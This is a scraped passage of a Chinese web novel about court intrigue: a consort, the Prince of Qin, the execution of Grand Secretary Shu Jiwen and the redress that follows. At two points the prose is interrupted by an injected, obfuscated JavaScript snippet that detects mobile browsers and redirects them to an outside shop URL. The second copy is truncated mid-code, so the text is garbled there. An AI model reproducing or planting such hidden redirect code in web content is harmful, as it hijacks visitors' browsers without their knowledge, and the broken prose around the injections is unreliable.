忽然被点名,董玉莲连忙应了一声。 “去拿些补身子的送给秦王妃。” “是。” 文景帝忽而沉吟,望向内间:“还有……让乔氏的人来接她走,好好瞧瞧肩上的伤。” 董玉莲便看向身后的某位太监,那太监意会,连忙出去寻人。 就在这时候,外头来了文华殿的太监禀报:“刑部尚书、工部尚书……右督御史等人请求陛见。” 来了。文景帝霍然睁眼,一瞬间竟精神矍铄如从前。 “随朕去文华殿。” 乔燕仍到扫云殿休养。此刻殿内门窗紧闭,熏炉中仅供帝后用的兽金炭已撤去,换上了银屑炭,暖意更随之去了二分。主敬殿的太监行事妥帖,寻来太医院的女医士帮乔燕处理伤口。 等送走医士,屋内只剩主仆二人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087508|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜婵跪地,泪眼婆娑,满是心疼和自责:“都是奴婢不好,奴婢不该擅自离开您,东西让旁人拿就好,奴婢怎么糊涂了呢……” “不关你事。”乔燕轻声打断她,又问:“七皇子呢?” “七殿下在主敬殿的东暖阁里养着,吃了药,退了烧,今晨醒过一次,不愿回含章宫。奴婢猜着,恐怕是不想孙娘娘忧心,就说来要问问您的意见。” “不想回含章宫,就去衔青宫吧。这主敬殿到底是圣上常御之所……”乔燕叹了口气,将不敬之言吞了下去。 承天门百官跪哭,声势浩大,已闹得人尽皆知,但文景帝那边竟沉寂了,令人诧异不已。今日一早,宫人几乎全在说此事。宜婵听到些传言,学给乔燕听:“……就是如此,圣上也无动静,似乎有意放束阁老一马。这还是头一回……都说是为了秦王。” 宫人不知早上的那篇劾本,都觉得不可思议,乔燕知晓始末,难免更觉稀奇。 那时候看文景帝,像是出去就准备砍束继文的脑袋,但等他怒气冲冲地离去,又不见下文。或许是为了压制董玉莲的势力,又或许是如宫人所猜,是为了秦王。 但在乔燕看来,这些都不重要,最重要的是,现在的圣心,是偏向内阁和秦王的。 若是能到此为止,也不失为一个好的结局。但偏偏,这个局对秦王而言,注定是个途穷之局。 乔燕抖擞精神,向外走去。宜婵不解地跟上,默默无言。 等开了门,程寿同另一个宫女还候在外头,见状就要来随行伺候。乔燕不让,问道:“唐公公何处?” 今日主敬殿奴婢来去无数,只唐直抒到底是个人物,程寿曾有留意,闻言答道:“似是随侍在圣上侧,往文华殿去了。” 卯时四刻。 文华殿前,金春山远远见到乔燕和宜婵,眼睛一亮,小跑着下了踏跺,迎到跟前。 “见过惠嫔娘娘。” “免礼。你不是在司礼监做一些宫外跑腿的差事,怎么会在这里?” “奴婢也刚刚才到。圣上将才心情不好,发作了一批人,小董公公又临时从十二监调度了一批过来。这差事到底是御前听用,又在董公公眼皮子底下办事,说不得入了哪位的青眼,都求之不得。司礼监胡秉笔是奴婢老乡,素日便待奴婢不薄,这不,又提携了奴婢一把。” 乔燕好心道:“若还有余地,近来最好是辞了主敬殿的差事。”旁的不再多说。 金春山听得微惊,心里琢磨开,口中问:“娘娘来见圣上么?” 他们站的地方在台基之下,离文华殿大门尚有段距离,说话旁人听不到。乔燕便不客气地问:“里头有哪些人?进去多久了?” “工部、刑部两位尚书、……”金春山一个个数过去,“御史台金大人等人联袂而来,进去约有两刻钟。” 乔燕暗自思忖。 都是赵王的人。 乔燕道:“我来找唐公公,他在里头么?” “圣上将人全都赶了出来,里面伺候的只留董公公。这外头冷,唐公公去了后头的直房喝茶。您寻个地方等片刻,奴婢去知会一声。” “就这儿吧。”乔燕却这么说。 金春山便知紧急,没有多话,飞快地去了。 那厢金春山去传话,乔燕受不住寒风,避至象眼旁,象眼旁不仅避风,也避人,前头立着一鼎一人高的铜缸,不到近前根本看不到人。 少倾工夫唐直抒就到了,怕乔燕等得急,他一路小跑来,等到的时候还在微微喘气。 “娘娘急召不知为何事。” 乔燕直直地看着他:“昔日你曾避人耳目为林公领路,那我问你,你可是秦王的人。” 到了这样的关头,再遮掩已无意义。唐直抒承认:“是。” “今朝何舂弹劾束阁老,其后便逢承天门之事,时机实在巧合,两相叠加,天子一怒,这是要逼死束阁老。我看不甚透,只问你,是不是束阁老和秦王布局?” 唐直抒苦笑:“娘娘问这个,真是高看奴婢了。这做奴婢的,但听主子吩咐,知晓自己要做什么事。至于主子的计划……谈何知晓。” 乔燕听得一阵沉默。奴婢如此,女人不也如此? 她咽下颓丧,条分缕析:“虽然看不透局势,我却知道一点,秦王此时万不能替束阁老求情。宫内局势瞬息万变,就怕秦王被蒙在鼓里。所以我想着,你去守着协和门,若秦王当真入宫,定要在陛见前截住他,带来见我,我在你歇息的那间直房等着,有话跟他说——你歇哪一间?” 唐直抒道:“最东边那间,门口有一株冬青便是。” 说完,不敢怠慢,急急地往协和门去了。 26. 交锋 直房很小,仅一床一桌,连个歇脚的板凳都没有,乔燕只能站着。 宜婵陪她从扫云殿到文华殿前,又到这里,所有对话都听了个囫囵,此刻少见的有些沉默,人在这儿,神魂却似乎飘走了。 乔燕看在眼里,问:“在担心金春山?” 宜婵低下头:“娘娘……” “局势如此,御前便是龙潭虎穴,进一个没一个,我尚要挣个活路,遑论一个小太监。他若能听明白,就此辞了差事,或能保个平安。” 宜婵怅然道:“您诸事缠身,莫费心在这等小事上。个人有个人的活法,这宫里的奴婢,能不能活全得看命,活不下来,那就只能认了。” 她看得通透,倒是让乔燕无言,拍了拍她的肩,侧过半个身子对向窗户,微微出神。 有一事想了好久。 众臣跪门逼圣注定无功,束继文却还如此,定有下文。但他的后手到底是什么? 何舂弹劾,引皇帝暴怒,真的是赵王的手笔吗?皇帝一怒之下,当真会砍了束继文的头—— 等等—— 想到这里,思绪如电火炸明,乔燕悚然一惊。 束继文在求死! 姑且无论劾文的背后是哪一方的手笔,删繁就简,只看明面上的东西:何舂的劾本、赵王党的推波助澜,束继文率百官逼圣。三者相加,是直冲束继文的命而去的。 之前就在疑惑,束继文为何非要在这样的关头惹怒皇帝,还以为是顽固不化,原来是项庄舞剑。 可这样做,他的“沛公”是什么呢? 乔燕扶住窗棂,无意中蹭了一袖子灰。 如果文景帝一怒之下当真杀掉束继文,内阁就剩一个空壳子,如今朝堂上好不容易维持住的平衡不复存在,为了制衡,只能除掉董玉莲…… 文景帝抓了一辈子的权,却给大齐王朝养出一个姓董的饕餮,偏偏他老人家时日无多,哪怕有心除掉董玉莲,也已是有心无力。束继文下这一盘狠棋,非是要推秦王为储,而是以身入局,换掉董玉莲的命! 这其中关节甚多,每个人的立场忽然都模糊了,唯有两鬓带霜的内阁首辅的身形清晰地落拓起来。 数九寒天,乔燕身上一时冰冷刺骨,手脚俱麻,一时胸腔滚烫,滚的也不知道是哪门子热血。 敲门声在这时响起,宜婵见乔燕未回神,在她耳边小声提醒:“娘娘,秦王来了。” 乔燕双手端于身前,微微挺直了背脊,心情十分复杂。 她原本有很多话要提醒秦王,但此时此刻,至少就这么一瞬间,她什么都不想说了。束继文知道秦王是个什么样的人,秦王会如何做,想必束继文也都知道。 于是两两相望之后,乔燕只道:“元辅之事,殿下都知道了。但今晨更早时分,曾有劾文状告束阁老,殿下知道吗。” 秦王语速比平时要快:“此事方才已经听唐直抒说了。”随即拱手:“如只为这个,多谢娘娘相告,我就先走了。” 乔燕知他着急去陈情,点头道:“请自便。” 听出乔燕有话未说,但秦王心里着急,无暇分辨,草草拱手作别而去。 乔燕和宜婵站在门里,看着他的背影。宜婵又问了一遍:“娘娘急着见秦王,就只是为了说这件事?” “当然不是……我原想劝他,千万不能开口求情。这件事里,秦王是最不能开这个口的人。束阁老率众跪门,逼圣人立储。秦王若开了口,便是将这满腔的臣子热血坐实了结党谋私,圣上一怒,束阁老必死无疑。他不开口,或许还有转圜的余地……但方才我想明白了一件事。” 从宜婵的角度,只能看到乔燕的后脑,她似乎微微仰起了头,不知在眺望什么。 “听闻昔日秦王为太子时,当时的冯忱、束继文等人都曾入东宫讲学。他们与秦王有师生之宜。秦王为人如何,束阁老必然清楚,所以我猜,这一次秦王会如何做,亦在他老人家的计划之内罢。想到这里,我就不想掺和进他们之中了,何必辜负束阁老的苦心、秦王的情义呢。” 乔燕扭过头,蓦然一笑,竟有些俏皮:“秦王此去,左右不过一顿板子罢了,等他被抬出来,你我再笑话他。” 卯时五刻。 文华殿内须弥台上的铜香炉又燃起了烟。自去岁冬文景帝病倒后,这座殿已经空置了许久。今日重开,虽有宫人日夜洒扫,却免不了有一股陈朽味道。 文景帝坐在冰冷的龙椅上,透过香炉的空镂朝堂中看去,全都是熟面孔,都是赵王的人。 他们喋喋不休地议着束继文的罪行,翻来覆去地把“治家不严”、“侵占隐田”、“目无法纪”、“无人臣之礼”等罪名扣在束继文的头上,最后跟上“当斩”二字作结。 文景帝听得头疼了,朝董玉莲摆了摆手指,董玉莲意会。 “肃静——” 满殿的嘈杂方弥,文景帝慢哼哼地开口:“元辅祖地之事,朕今晨才耳闻,正要跟诸位栋梁商议,不想来此之后才发现,竟皆尽知晓了。诸位耳目聪明,啊,倒是免了朕的一番口舌。” 语气虽不重,话里的讥讽却摄住了众人,落个鸦雀无声。 殿外的太监正好在这时通报:“赵王求见。” 赵王来的时辰实在不巧,正赶上皇帝发作的当口。下头几个大臣焦急地打着眉眼官司,恨不得当即冲出去让赵王过会再来。 上首,文景帝淡道:“让他进。” 赵王走到众臣最前头,规矩地磕头问安。文景帝道:“赵王也是来议元辅的罪的吗。” 赵王一头雾水,无赦不敢起身,就着跪地的姿势老老实实地道:“孩……臣入宫先去了主敬殿请安,扑了个空,才过来的。” 又道:“听宫人说您昨夜犯疾,臣很是担忧。国事有内阁和内书房顶着,您养好身体方可固国本。” “倒要你来教朕怎么做这个皇帝了。” “……”赵王总算回过味来,他爹现在就是个火药桶,谁碰炸谁,于是伏在地上又磕了个头,苦笑道:“儿知罪,但请您怎么儿子的罪都行,莫要气坏了身子。” 文景帝素来吃软不吃硬,见他这样,心有点软了,沉默片刻,淡淡道:“起来说话。” “谢圣上。” 文景帝思绪万千。 方才赵王提到“国本”二字,不知有意还是无意,令他想起跪在承天门外的束继文,想起那句“储君乃国本”,压下的怒火又有燃起的趋势。 再看阶下的赵王,看着这个儿子,文景帝忽而升起一股惧意。老五心思深而缜密,是不是更适合做皇帝? 病树前头万木春。也许世事固然如此,总是后来者居上,前人逝水东流。这大齐,已容不下一个垂垂老矣的皇帝了。 从未有过的疲怠之感兜头扑脸地浇下来,文景帝腰板一松,靠在椅背上,感觉胸腔里剩下的最后一口气也吐了出来。他满怀感情地喊了一声:“五郎啊……” 赵王愣住了,抬起头,一时忘了回应。 文景帝平和地问:“如果你是皇帝,你要如何处置束继文?” 一句话石破天惊。 “儿子不敢!”赵王骇得跪倒,怆然哽咽,“儿子这条命是您给的,爹爹何须这样试探。” 须弥座上沉喑良久,就在这时,秦王到了。 文景帝这才道:“你二哥来了,站起来,这么大的人了还哭哭啼啼,别让人笑话。” 赵王抹了把眼睛,重新站好。 秦王入殿,跪拜请安,因为心里有事,没有精力去分辨各人神色,只盯着地面,纵使得允起身,也仍咬牙跪着,张口道:“圣上,臣有……” 文景帝淡淡打断:“朕让你起来,这点小事你也要忤逆朕吗。” 秦王抬头,不甘心地复提:“臣……” 这回只说了一个字,又被赵王打断:“二哥,爹让你起来,你就起来吧,干什么又不听他老人家的话,惹他伤怀。” 文景帝道:“罢了,既然喜欢跪,那就跪着听吧。秦王,你来之前朕正和诸卿商议到,束继文数罪并罚,身为元辅知法犯法,更是罪加一等,当以死罪论处。” 这话就像旱天惊雷,不仅秦王呆愣当场,手足冰凉,赵王和诸臣也被吓了一跳。皇帝忽然松口,一切正如预料的发展,赵王却捏住了袖口,心里莫名不安。 “不可!” 喊出这话的竟有两人。文景帝支起身子,看着跪地的身影由一个变为两个,一时疑心看花了眼。 “赵王?你也要给束继文求情?” 赵王伏地,情真意切地道:“束阁老跪承天门只为进言,当朝不以言获罪,他罪不至死,请您收回成命。” 文景帝神情有一瞬的古怪,语气莫名:“哦,忘了你还不知道,束继文另有罪,他的族人在山西占隐田千亩。朕没记错的话,文景八年,束继文时任户部堂官,主张清丈田地,鱼鳞册的绘制便是其亲自经手审查,其后内阁推出严律——董大伴,你来背一下。” “是。占隐田者当还地于民,足一而不足十者,杖十,补三年税……足九十不过百者,徙三千里……过千亩,诛三族,流远亲九族。” “这条律法虽不过五年便废止了,但当初乃束继文一力推崇,他如今不能以身作则,知法犯法,”文景帝忽然提高音量,“只斩他一人,已彰天恩!尔还不谢恩,是质疑朕,要朕以犯上之罪把你们也砍了吗!” 赵王忙磕头:“圣上息怒,儿并不知此事。” 文景帝目光移到秦王身上。 秦王跪着,一动也不动。 他入殿以来一句话都没说上。 龙椅上是国君,也是他的父亲,可是他跪地不起就是“忤逆”,为恩师陈情,却三番四次被打断,最后换来劈头盖脸的责骂……就连六年前!六年前,他满腹冤情,也辩不得一句,就被稀里糊涂地关了起来。 想到这里,秦王心灰意冷,闭上眼,漠然道:“圣上那就把我一起砍了吧。” 赵王吓了一跳,膝行两步,扶住他,“二哥!你这是什么话,别犯糊涂啊!” “混账东西!” 文景帝气得起身,脚下一扑,董玉莲眼疾手快扶住,文景帝抚着心口直喘粗气,怒道:“锦衣卫!把他拖下去杖二十!另外,去承天门,将束继文斩立决!” “谁敢!” 秦王维持着跪地姿势,红着眼将殿中人一一看过,竟真慑住众人。他重重地以头抢地,脑海昏昏沉沉,眼前黑黑白白,耳边嗡嗡鸣鸣,唯听得自己说道:“元辅于臣而言,有教导之恩,臣不能不报,请圣人先斩臣,再斩臣的老师,以全臣忠义!” 文景帝眼前一黑,喉咙涌上一股铁锈味,但这时怎能倒下,于是又咽了回去:“李稷!你是要你爹的造反吗!” 秦王头也不抬,一心求死:“求——父亲先斩儿臣。” 炉后兀的没了声音。 董玉莲尖叫:“传医官!快传医官!!” 承天门前,跪了两个时辰的士人们终于等来了宣告。 锦衣卫如铁桶一般围住他们。或许有的人怎么也没想到,当今天子会如此刚愎且懦弱,连见他们一眼都不愿,更多的却早已预料了这样的结局,慷慨地闭上眼。 锦衣卫指挥使稽川大声开口:“圣人口诏,今礼部尚书兼中极殿大学士束继文有罪当诛,令立毙于承天门外。” 说罢,来到跪在最前头的老人跟前。 眼前是几乎望不到头的士人。他们以同样的姿势跪着,又同样的怒目而视。 稽川垂头看到一顶朱红官帽,看到两缘露出苍白鬓发,和风鼓起的猎猎袖摆。就在这一刻,稽川忽然明悟了皇帝一直畏惧的到底是什么东西。 他顿了一顿,才握上腰刀:“束阁老,得罪了。” “住手啊!” 跪在束继文后头,一左一右的次辅温却疾和国子监祭酒曹彬骇然失色,疾疾呼停。温却疾问:“封指挥使,敢问元辅犯了何罪,令圣人竟要不顾律法斩人于当前!” 稽川早有准备,让人带来人证宋恒,和宋恒写的状纸、带来的证据。又将文景帝在堂上说的话复述一遍。 宋恒一见到束继文,便痛骂出声。束继文却甚至连眼皮子都没动一下,目不斜视,只看眼前朱红色的宫门。 跪着的人群里有些骚动。 曹彬是个急性子,大声道:“元辅,他们这样污蔑您,您为何不说话啊!” 束继文闭上了眼,仍不置一词。 曹彬全然信赖着束继文,却没得到任何回应。不止是他,这里几乎所有人都在殷殷等待着元辅的解释,可是渐渐的,窃窃私语也沉寂了下去,空旷的门前只有宋恒的破口大骂久久不绝。 稽川见状,一边命手下带走宋恒,一边再次握上腰刀。 “住手!” 秦王远远地从宫内跑出来。因为焦急,他的发冠甚至歪了,仪态全无。后面跟着一串叫苦不迭的太监,以及几个锦衣卫,顾及着秦王的身份,不敢动手,只能虚虚地围在旁边。 若是旁人,稽川兴许就不管了,但这是秦王,他手里正欲斩下刀不由滞在空中,最后迟缓地放了下去。 太好了,秦王来了,也许元辅不用死了——所有人都这么想。 束继文蓦然睁眼,看着遥遥狂奔而来的秦王,一直岿然不动的神情终于有一丝皴裂。 他似乎有些许茫然,又有些许欣慰,可紧随而来的却是慌乱。在这样的关头,他不知为回头看向人群的最后,于是所有人都跟着他转头——那里站着好几个人,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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稽川朝秦王单膝跪下,抱拳道:“秦王殿下,您还欠着二十杖,请不要为难卑职。” 也不知何时起,雪又开始下,先是零星的几片柳絮般从高空飘落,渐渐变得密集,如有人在北风里撒了一桶鹅毛,纷飞乱舞,连人的视线都要遮蔽去。 左掖门通往会极门有一段狭长的宫道,四个太监抬着担架缓行,雪地滑,他们走得极为小心,生怕跌一下,担架上血肉模糊的皇子会断了最后那口气。 铺天盖地的大雪里迎面走出五个人,一直走到担架前,挡住去路。四个太监看清来人面孔,迟疑地停住。 “唐公公,奴婢们正要送秦王殿下去文华殿,您这是……” 唐直抒面无表情地盯着,那人就不敢再说了。唐直抒上前两步,饶是他这样见多识广的老江湖,仍被担架上的景象刺得眼睛发疼。 担架上的秦王穿着一件浸满血的中衣,也不知是受了哪尊大佛的叮嘱被这样磋磨。血凝成冰,又覆上雪,和他的唇色一样苍白,让人几乎怀疑这就是一具尸体。 束继文身死,秦王看似已经败了,那些人就这么肆无忌惮起来了。 唐直抒心都在打着哆嗦,不敢低头去看,只能仰着脖子,盯着面前太监的眼睛。 “咱家就是来接殿下的,人交给我们,你们自去复命。” “公公奉的什么令。” 唐直抒似笑非笑:“在这宫里,还能奉谁的令。无非是圣上那头等得焦急,这一个,好歹是他老人家的儿子。” 几个人被吓住了,对视两眼,排头的太监松了口:“那就交给公公了。” 于是担架转手,全都换成了自己人。唐直抒哎哟一声,抖着手脱下身上的棉袍,小心盖到秦王身上,这才道一声“起”。一行人又快又稳地穿过左掖门,停在另一侧廊下。 廊下竟早站着两个人。 “惠嫔娘娘。” 风雪送来唐直抒压低了的嗓音,担架上的人睫毛颤了颤,抖落一片停留许久的雪花。 乔燕低头,无言的看着。她从身后的宜婵手里拿过伞柄,举到秦王上方,屈膝蹲下身。 “殿下,这二十杖,不是圣人罚您,而是赐您。圣人赐杖,意味着不论前事如何,一切到此为止,日后不会追究。您也要到此为止,要牢记,此去文华殿是为谢恩,除此之外什么都不能说。我先前没有拦您为束阁老求情,是因为我敬佩此等情谊。但是殿下,您没有任性的机会了……请不要让束阁老白送性命。” 担架上的人毫无动静,但乔燕知道他听到了。他身上担着很多很多人的希望,担着大齐的未来,他必须听进去。 然而就在此时此刻,看着这个落魄的皇子,乔燕心里忽然升起怜悯。 眼前这个奄奄一息的人,似乎就要死在这场风雪里。她心里一软,把怀里的手炉塞到了秦王手里。 转身的那一瞬,唐直抒空着的那只手似乎抹了下眼。 这支队伍越过惠嫔,又坚定地向文华殿的方向走去。 乔燕遥遥看着,就在他们彻底消失在视野里的那一瞬,西南方突然响起鼓声,这鼓声可撼天地,一声又声,负屈衔冤,急促地敲在皇城中每一个人的心间。 登闻鼓响。 …… 这个冬季似乎只剩阴天。天地灰茫一色,乌云沉默地压在大齐王朝的上方。 雪虽停了,但积雪难化,京直隶辖下的农民在这一日走出了门。他们带着铲锹,走出房舍,涉过雪路,来到田间,挖开积雪,露出黝黑的土壤。若是不清雪,等太阳一照,这么厚的积雪化到土里,十月份种下的冬小麦的种子全都要沤烂。若结冰,冻三尺,那春种就也废了。 在与京直隶远隔万里的海南,农民也在这一天走到了田里,无力且沉默地望着发黑的稻苗。谁能想到,几天前他们还在为田里露青的稻苗欣喜,幻想着将有一场如何盛大的丰收,几天后却迎来如此沉痛的打击。 这些农民,从小活到老,都是第一次见到雪。 也许从此在他们的口述里,雪将永远与灾难、与绝望紧密相连。 不远处,田埂上站着一个远道而来的年轻人。他头戴儒巾,灰扑扑的衣摆沾满泥泞,背后背着的竹编书篓亦失了原本的色泽。 束阳本要去琉球,但临行前祖父跟他说,回京后就要入六部观政了,不着急回去,多行多看。于是他一路南下,走了两个月,到了海南。 看着眼前的一切,束阳的神情比农民更要沉默。他从袖中取出一小册,风翻开第一页,是青年初出京城,见天宽地阔,兴奋之下写的一句:余见大雪,天与云与山与水,上下一白。 他又从腰间解下一支细杆芦笔,拧开便携的墨斗,以笔舔墨,在最新的一页写下:万州,是年冬,全州雪三日夜,树木尽萎,农事哀不绝。 27. 落定 文景帝在昏睡中,恍忽来到一黢黑无光处,耳边天雷轰轰,隐约可见云层之上湛然神光。 云层之上,传来喝问—— 胡不公! 文景帝一下惊醒,那雷声反更清晰,一下一下,从长安右门的方向传过来。 文景帝“嗬嗬”喘了两口,床帘外立马多了道佝偻的身影。 “圣上醒了。” 文景帝问:“外头,嗬,外头什么声音?” “不知何人在敲登闻鼓,封指挥使已经着人去看,却不知将人领到哪里,在外间等您醒来拿主意。” 登闻鼓本就为百姓鸣冤而设,文景帝不由得想起那个梦。雷公问:胡不公?难道是在质问?还是警醒?又或者就是在点这一桩案子。 想到这里,文景帝费力地抬起上身,喘着气道:“把人带过来……我要亲审……” 董玉莲忙撩开帘子,挂上金钩,一边道:“秦王殿下在外头,您没醒,他就一直等着……” 董玉莲故意说的慢,果然,文景帝一想到秦王便心头火起,不等说完就打断道:“我不想见!既然没杖死,就留着这条命回去反省,没有我的准许不得出来!” “是。” 董玉莲使了个眼色,旁边的小太监自去传话。 主敬殿外的月台之上,雪早已扫清,地面却仍湿着。秦王躺在担架上,唐直抒不敢让他过了地上湿气,命人一直抬着。 等了一刻钟,秦王靠意志强撑着,眼见已是进气多出气少。 唐直抒心神战栗,不知第多少次苦声规劝:“殿下,圣上不见啊!咱们要不还是先回吧,回去找个医官看一看,等好了再来请罪。” 秦王被这一声唤回一些神智,从喉咙里发出含糊的声音,勉力睁开眼,直直地盯着眼前紧闭的槅扇门。 “……不。” 他也不知自己不甘的是什么,是从未拥有的父子之情、君臣之义?亦或是看着旧友手刃恩师,所有的一切都离他而去的意难平。可他心里竟如明镜般透亮,知道承天门前那一切都是因他而起,怨不能怨,恨不能恨,于是万念俱灰,只能归咎自己软弱无力。 心头的万般滋味随着寒冷北风而逝,最后留下的竟只有苦意。 他不能回,也不想回。 干脆死在这儿算了,所有账一笔勾销,日后也不会再多亏欠。 想到这儿,他闭上眼,气息慢慢弱了。 唐直抒看着秦王变得灰白的脸,颤颤伸出手指至鼻下,好不容易感受到一丝呼吸,心头大骇,扑到门前,高声哭诉:“圣上!秦王殿下受完五十杖,拖着伤躯来此向您谢赐杖之恩!您不见,他谢恩不成,只能当您不肯原谅他,就在此谢罪了!” 殿内本就安静,这一声传到了文景帝耳里。 董玉莲正蹲下去提鞋,头顶上,文景帝忽然道:“束继文杀了?” “封指挥使亲自带人去承天门。” “他亲手杀的?” 董玉莲静了一息,不得不答道:“是……冯矩动的手。” “冯矩?”文景帝慢慢地道,“我没记错,他曾拜在你门下,受你指教。” “圣上!” 董玉莲扑通跪地,手里还拽着鞋子,眼里转瞬布满泪花,字字发自肺腑:“老奴岂敢啊!那冯矩是个白眼狼,早与奴婢势不两立。奴婢对天发誓,若冯矩此举有我半点授意,就让我死后堕十八层地狱!” 文景帝没有说话,室内一片寂静。 董玉莲心神耗费甚多,跪了一会,渐渐眼前发黑,忽听头顶文景帝幽幽道:“朕一听到老二他来,还以为是来向朕问罪的。” 董玉莲松了口气,再不敢耍小心思,应道:“圣上恕老奴多嘴,毕竟是二十多年的父子,秦王殿下心里头还是念着您的好的。” 文景帝心已经软了。 “五十杖啊。他这身子骨和脾气一样的硬……长路难熬,别回去了,就让他先在东暖阁歇下,传廉院判看看。” 东暖阁刚走一个七皇子,又住来一个二皇子,病来伤去的。文景帝自来迷信,想到这里,不由有些没底。 莫非当真是他做了什么错事,老天降罪于子息事上? 等文景帝穿戴完毕,一步一蹒跚地坐到宝座上,堂下已经跪好了一道血污的身影。 敲登闻鼓者须先受五十杖,以示鸣冤之决心。给这人刑杖的乃司礼监太监,受上头示意,杖杖要命。幸而林元海及时出现,以身作保,那群太监实在撼不动这尊大佛,才兢兢地收了杖,眼睁睁看着林元海将人护送到了宫里。 这人能撑过丧命棍,自有几分毅力,身上疼痛仍面不改色。文景帝一出现,他便伏在地上,掏出早已写好的状文高举过头顶,大声悲呼:“请圣上为束家、为草民叔爷束继文平冤!” 随堂太监刘义双手接过状文,低着头上了须弥座,交至董玉莲跟前。 董玉莲低着头,不知为何迟迟不伸手。刘义心里纳闷,抬起眼皮子,极轻地唤:“董公公?” 董玉莲这才僵僵地接过,躬身走向宝座,两步路,鬓角却凝出了细微的汗。 文景帝面无表情地问堂下:“你是束继文的族孙?” “草民是。” 文景帝闭上眼,神情可怖,只对董玉莲说了一个字:“念。” 午后,黎月牵着刚刚退烧苏醒的李琢到衔青宫主殿寻乔燕。却见本该贴身服侍的宫人皆候在廊下。作为一宫掌事的宜婵亲自守着门。 气氛有些低沉。 李琢心思敏感,甩开黎月的手,快步走到宜婵跟前。 “你们怎么都在外头?母妃呢?” 文景帝将他记在乔燕名下,以后乔燕便是他名义上的母亲,这声“母妃”喊的自然是乔燕。 黎月:“七殿下方醒,说要见娘娘,我劝不住,只能跟着来了……” 宜婵微摇了摇头。 黎月忧心忡忡:“娘娘不见我们就算了,连七殿下也不见吗……” 李琢担心道:“这是怎么了?” 不等宜婵说话,旁边的齐思嘉眼圈青黑,恹恹地插嘴:“娘娘睡了大半天,朝食、午食都没吃,原封不动地端了回去。” 宜婵瞪了齐思嘉一眼,给李琢行礼,面露为难:“请殿下恕罪,娘娘连日劳形,眼下还在休息。” 李琢虽然心里担忧,却没再纠缠,极为懂事地道:“那我等会再来。” 黎月心头一松:“奴婢送您回去。” 看着七皇子的背影消失在如意门后头,宜婵无声地吐出一口闷气。想了想,她叮嘱齐思嘉守好门廊,自个儿轻推门而入,来到内间门口,探头朝内看去。 床上竟空无一人。 宜婵吓了一跳,逡巡一圈,在梳妆台前看到了乔燕的身影。 乔燕像是一时兴起下的床榻,未穿外衣,头上还梳着白日的发髻,有几缕头发丝从额前垂落。案上的黄花梨镜奁最下一层抽开一半,乔燕就这么静静地以手轻触,垂头看着。 这妆奁乃姨娘留给乔燕的遗物,也是她从乔家带出来的唯一私物。经西苑,入宫城,几添曲折,最终静静地置于衔青宫的桌案一隅。 宜婵心里一酸,喃喃喊了声:“五娘子……” 乔燕闻言,转头看她,微微一笑:“什么时候来的。” 宜婵收拾好心绪,走进内间,拿起架子上的衣服:“娘娘怎么衣服都不穿,外头事儿一茬接着一茬,少不得您奔波,更要仔细身体。” 乔燕展开双臂,配合穿衣。 “方才是恒奴来了吗?” “是。奴婢以为娘娘还睡着,就让他回去了。娘娘要见吗?” 乔燕摇摇头:“过一会儿我去主敬殿,到时候你送恒奴去景仁宫。皇后孤单一人,七皇子过去尽一尽孝道。” 这个时候为什么突然要送七皇子去皇后身边……宜婵扣盘扣的手一顿,再开口时声音竟有些颤:“娘娘……” 乔燕温柔地拍了拍她的手背:“若我落锁时分未回,你再去含章宫给孙贵人捎个口信,告诉她七皇子所在,她若有心,也去皇后那里凑个热闹……届时你也不必回了,就留在那里看顾他们母子,那孩子与我有缘,有你在,我也放心些。” “让黎月去好了,奴婢陪着您。” “我不需要你陪,”乔燕从镜子里注视着她,语气坚决,“宜婵,十三岁以后你一直在我身边,伴我长大,对我来说便如半个姐姐,你若真懂我,就不要拒绝。” 宜婵哽咽着说了声好。 衣服穿好,宜婵见她头发有些乱,便索性打散发髻。 “奴婢去叫香云来给您梳头。” “不必了,现今梳太精细的发式反而易落下话柄。你随便梳个简单的,用那套银枝点翠的首饰,既素净,也不会惹圣上晦气。” “好。” 宜婵拿起梳子,握起一把青丝,慢慢理顺。主仆二人自入宫后已许久未有这样独处的时光,一时恍惚觉得回到了从前。 宜婵目光落在镜奁上,心中酸涩,说道:“娘娘,于海听您的话去打探消息,半个时辰前就回来了,您什么时候见。” 乔燕一怔,膝上的手不自觉地捏住了袖口。 “现在吧。外间回话。” 宜婵出去嘱咐人传话,复回来梳头。不多时,外头传来声音。 “奴婢于海,给娘娘请安。”< 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于海无声地吐出一口气,“之后束家人敲响登闻鼓,面圣伸冤。不多时,传何舂、冯矩,和一个廪生进殿,那廪生据说便是状告束家的原告。到了巳时,廉院判入殿。又过了一会儿,锦衣卫带刑具入殿,再出来,就是几个太监拖着原告的尸体……奴婢找相熟的太监打听了下,听说这原告招供,乃受了董党指使,才诬告元辅,做下这等丧良心的事。之后圣上召刑部、都察院、大理寺堂官觐见,连午食都没吃……哦对了,还有,赵王听到消息,前去为董玉莲求情。奴婢也就只能打探到这儿,一直到奴婢从主敬殿回,殿门都不曾再开启过,后面的就不知道了。” 还有什么不知道的。 此一案,束家必有铁证洗清冤屈,董玉莲诬害当朝首辅,这一回哪怕文景帝都包庇不了他。 铡刀将他的性命永远留在今时今日,而文人的笔会将他钉死在齐朝的史册上。 而何舂和冯矩呢?他们一个“诬告”束继文,一个亲手杀害束继文,恐怕也只有一死。他们的死大快人心,不会有人知道他们做了什么,只会在千年百年之后,仍遭人唾弃,背负骂名。 乔燕攥紧拳头,闭上眼,遮住眼里一闪而过的水光,轻声说道:“辛苦了,你下去吧。” 她自以为表现镇定,可当话说出口,才觉哑在喉咙里,只有近处宜婵听得见。 宜婵大声重复了一遍。 于海告退。乔燕继续道:“你也出去。我想自己待一会儿。” 